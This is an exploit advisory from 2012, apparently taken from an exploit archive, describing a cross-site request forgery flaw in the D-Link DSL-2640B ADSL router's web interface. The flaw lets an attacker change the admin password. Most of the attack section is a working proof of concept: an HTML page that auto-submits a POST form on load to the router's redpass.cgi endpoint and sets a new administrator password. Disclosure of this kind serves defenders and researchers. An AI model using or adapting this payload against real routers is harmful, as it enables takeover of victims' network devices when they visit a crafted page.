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D-Link DSL-2640B Cross Site Request Forgery

Posted on 21 February 2012

+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability # Date : 19-02-2012 # Author : Ivano Binetti (http://ivanobinetti.com) # Vendor site : http://www.d-link.com # Version : DSL-2640B # Tested on : Firmware Version: EU_4.00; Hardware Version: B2 +--------------------------------------------------------------------------------------------------------------------------------+ +------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+ Summary 1)Introduction 2)Vulnerability Description 3)Exploit +---------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 2)Vulnerability Description The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router parameters and -among other things- to change default administrator("admin") password. 3)Exploit <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change ADMIN password</H2> <form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1"> </form> </body> </html> +----------------------------------------------------------------------------------------------------------------------------------+

 

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